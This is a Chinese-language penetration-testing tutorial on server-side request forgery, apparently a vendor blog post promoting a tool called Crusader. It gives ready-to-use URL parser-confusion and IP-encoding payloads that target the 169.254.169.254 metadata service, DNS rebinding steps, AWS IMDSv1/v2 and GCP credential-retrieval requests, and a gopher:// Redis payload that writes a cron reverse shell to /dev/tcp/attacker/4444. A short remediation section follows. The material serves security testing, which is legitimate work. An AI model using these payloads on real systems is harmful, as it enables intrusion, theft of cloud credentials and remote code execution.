绕过简单过滤器的 SSRF:URL 解析器混淆与元数据端点
服务端请求伪造是少数几类单个发现就能直接把云凭据交到你手上的漏洞。其原理简单到一句话就能说清——你让服务器去抓取一个你所控制的 URL——而几乎每一篇文章都止步于此,这也正是它们毫无用处的原因。那个教科书式的载荷,把 http://169.254.169.254/ 粘进一个 URL 输入框,早已被到处列入黑名单。SSRF 之所以在 2026 年仍是最高产的漏洞类型之一,并不是因为开发者忘了做过滤。而是因为他们的过滤器和他们的 HTTP 客户端对 URL 的读法不一样,而你就住在这道缝隙里。
一个 URL 允许列表本质上是在赌两段代码——校验器和抓取器——对你所请求的是哪个主机看法一致。它们几乎从不一致。现代 SSRF 就是找出一个能被它们读成两种含义的字符串的艺术。
头号漏洞:URL 解析器混淆
Orange Tsai 的《A New Era of SSRF》为大家一直在栽跟头的东西起了名字:一个基于某个 URL 库构建的校验器,和一个基于另一个 URL 库构建的 HTTP 客户端,把同一字符串解析成了不同的主机。校验器说"这指向 expected-host,允许通过。“客户端却连上了 169.254.169.254。按各自对一个含糊规范的读法来看,两者的行为都没错(RFC 3986 在这里确实留了不小的余地)。你要做的,只是找到那个能把它们拆分开的输入。
确切的载荷,以及每一个为什么能把解析器拆开:
http://[email protected]/
Userinfo 混淆。@ 之前的一切都是 userinfo 组件;真正的主机在它之后。一个天真的校验器,如果只在字符串开头去抓主机,就会看到 expected-host 并放行。而 HTTP 客户端正确解析后,连上了 169.254.169.254,并把 expected-host 当作(被忽略的)用户名传了过去。
http://169.254.169.254#@expected-host/
片段花招。一个"通过在 @ 上切分来找主机"的校验器会从尾部抓到 expected-host。但 # 开启的是片段——它之后的一切都会被抓取器丢弃,抓取器连上的是 169.254.169.254。允许列表检查的是一个网络永远看不到的字符串。
http://expected-host\@169.254.169.254/
反斜杠分歧。浏览器和 Go 的 net/url 会把 \ 归一化为 /,所以对它们来说主机是 expected-host,其余是路径。而不归一化反斜杠的库,会把 expected-host\ 当作 userinfo,把 169.254.169.254 当作主机。校验器和抓取器从同一串字节里落到了不同的主机上。
http://169.254.169.254 &@expected-host
空白/控制字符注入。塞进权限部分的一个空格、制表符或原始 CR/LF,会让一个解析器过早截断主机,而另一个则一路读下去。有些技术栈在空格处停住(主机 = 169.254.169.254),有些则在 @ 上切分(主机 = expected-host),而这一分歧就是绕过。
根本原因的形状总是一样的:**RFC 3986 的含糊性,加上一个校验器和一个 HTTP 客户端用了两套不同的 URL 实现。**当你看到一个允许列表时,别先问"我能不能编码绕过它”——先问"是什么在解析它,抓取器是否认同?"
当它是黑名单而非允许列表时:IP 编码
如果过滤器是一个逐字匹配 127.0.0.1 / localhost / 169.254.169.254 的字符串黑名单,那么它会栽在这样一个事实上:一个 IP 地址有多种文本形式,它们全都解析到同样的那 32 个比特:
2130706433 decimal for 127.0.0.1
0177.0.0.1 octal first octet
0x7f.0.0.1 hex first octet
127.1 short form — omitted octets are zero-filled
[::1] IPv6 loopback
[::ffff:169.254.169.254] IPv4-mapped IPv6 — reaches the metadata IP
0.0.0.0 Linux routes this to localhost
0.0.0.0 这个花招是人们最容易漏掉的:在 Linux 上它会路由到环回地址,所以它能到达你的本地服务,同时又能径直绕过一个只认识字符串 127.0.0.1 的黑名单。而当过滤器解析了主机名却没解析最终目的地时,通配符 DNS 服务会用一个看起来公网的名字把内部 IP 递给你:169.254.169.254.nip.io 解析到 169.254.169.254,而 localtest.me 解析到 127.0.0.1。
DNS rebinding:对解析器的一次 TOCTOU
当校验和抓取是两次独立的 DNS 查询时,在它们之间放一条 TTL-0 记录。它会在应用校验的那一刻解析到一个公网的、被允许的 IP,然后在片刻之后应用真正抓取时解析到 169.254.169.254——这是对 DNS 本身的一次检查时刻/使用时刻(time-of-check/time-of-use)漏洞。rebind 和 singularity 能自动完成这次翻转。会吃掉你一整天的坑在于:有些 HTTP 客户端会缓存 DNS,或在连接的整个生命周期内钉住第一次解析结果,于是第二次查询根本不会发生,rebinding 便悄无声息地失败了。在你断定目标安全之前,先测试客户端是否会重新解析——一次失败的 rebind 说明的是某个客户端的 DNS 行为,而不是一个干净的结论。
从 proxy 历史里构建你的候选清单,找出那些接受 URL 的功能——这正是从 proxy 历史做被动侦察派上用场的地方。SSRF 藏在 webhook、按 URL 导入和按 URL 取头像、PDF/截图/缩略图生成器、SSO/OIDC 发现 URL、链接解卡器(link unfurler),以及经由 XML 和 SVG 解析器的 XXE-to-SSRF 之中。
确认它:用 OAST,绝不用响应体
现代 SSRF 最重要的一次思路转变:**别再读响应了。**大多数真实的 SSRF 都是盲态的——服务器抓取了你的 URL,却什么都不给你看——所以一个"过滤再肉眼看"的循环会彻底错过它。把参数指向一个带外监听器,然后观察回连:
POST /api/import HTTP/2
Content-Type: application/json
{"url":"http://k7f2p9.oast.example/"}
# API returns {"status":"queued"} — nothing useful.
# A DNS lookup for k7f2p9.oast.example arriving from the
# target's egress IP is the proof. The response body never mattered.
你也可以在完全没有回连的情况下,靠时序来确认:一个内部开放端口和一个关闭端口会产生可测量的不同响应延迟,所以一个挂起的 connect() 对上一个快速拒绝的 connect(),就是对内部网络的一次盲态端口扫描。
会制造误报的那个检测陷阱:一个被缓存的、或由 CDN 前置的 200,如果只是在响应里回显了你的回连主机名,看起来会像是命中,实则不然——是 CDN 解析了你的主机名,而不是目标的后端。有两条规则能让你保持诚实。第一,核实回连的源 IP 属于目标的基础设施,而不是一个共享的 CDN 边缘节点。第二,优先选择纯 DNS 交互:一次 DNS 解析能逃过那会悄悄丢弃出站 HTTP 回连的 HTTP 出口过滤,因此在 HTTP 什么都显示不出、会让你错误地宣布参数安全的场景下,DNS 反而能给出确认。
提权:正确地拿下元数据端点
到达 169.254.169.254 只是开始,而不是发现本身。在 AWS 上,IMDSv1 会直接把凭据交给一个 GET:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
IMDSv2 是大多数报告出错的地方,因为它是一整套完整请求的操作,而不是一个 GET:
# 1. PUT to obtain a session token
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# 2. GET the credentials, presenting that token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token-from-step-1>
有两处细微差别决定了这能否奏效。一个只能 GET 的 SSRF 根本做不了第 1 步——你需要控制方法和请求头才能 PUT 去取令牌。而 PUT 响应上的默认跳数限制为 1:源自容器内部的请求会多出一跳网络,于是令牌响应还没返回就已经死掉,因此来自容器内部的 SSRF 往往到不了元数据服务,哪怕参数完全存在漏洞。如果 IMDSv1 没有被显式禁用,它仍是一个值得检查的后备选项。GCP 更简单,但受请求头把关:http://metadata.google.internal/ 配上 Metadata-Flavor: Google。不要报告"元数据可达"——要报告你取到的凭据,或者精确说明跳数限制或令牌要求是如何把你挡住的。
提权:用 gopher:// 达成 Redis RCE
gopher:// 是那个把 SSRF 变成对内部行协议服务——Redis、memcached、SMTP——的原始 TCP 的协议方案,因为它让你能往一个套接字写入任意字节。瞄准一个未认证的 Redis 时,它通过写入一个 cron 任务而变成远程代码执行:
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
SAVE
每一行 Redis 协议都被 URL 编码进一个 gopher 载荷里(命令之间用 %0d%0a 隔开)。CONFIG SET dir 把 Redis 的保存目录重新指向 cron,dbfilename root 把转储文件命名成 crontab 的名字,SET 藏进一行反弹 shell 的 cron 语句,而 SAVE 把它刷写到磁盘——cron 在那里拾起它并回连。从 SSRF 到 RCE,无需认证,一个请求。
修复
供你报告的修复章节使用:应用代码里的 URL 允许列表正是会失败的那一环,因为它依赖于校验器和抓取器达成一致。经得起考验的修复是:自己解析主机名,把解析出的 IP 对照一份内部网段的拒绝列表进行校验,然后钉住并连接到那个确切的 IP,这样就没有第二次解析能来 rebind;禁用不使用的 URL 协议方案(不要 gopher://、file://、dict://);强制启用 IMDSv2 并把元数据跳数限制设为 1,让容器逃逸也够不到它;以及在网络层拦截出口流量,而不是信任一个字符串检查。一个解析 URL 的过滤器,正在和一个用不同方式解析它的客户端赛跑——把决策挪到解析出的 IP 上,那里只有一个答案。
要点
SSRF 并没有变得更难;只是那些天真的载荷被过滤掉了,而所有人都在早了一层的地方停了下来。漏洞下移了一级——移进了检查 URL 的代码与抓取 URL 的代码之间的分歧里,也移进了那些永远不会出现在响应体中的盲态场景里。给每一个接受 URL 的参数接上一个带外监听器,让盲态的那些用一次 DNS ping 主动现身,而把你的解析器混淆载荷只花在那些已经打过回连电话的参数上。这是同一种混淆代理(confused-deputy)的形状——一个受信任的上下文对攻击者可控的输入采取行动——如今它正驱动着 AI 智能体中的提示注入。
Crusader 内置了带外测试(OAST / Interactsh),而这对盲态 SSRF 来说就是全部关键:把请求打向一个接受 URL 的参数,观察那次交互,并从回连的源 IP 确认是目标的服务器打回了电话——无需任何响应体。把它指向你历史记录里的每一个 webhook、导入器和发现 URL,让那些被过滤的场景招供。免费下载 Crusader。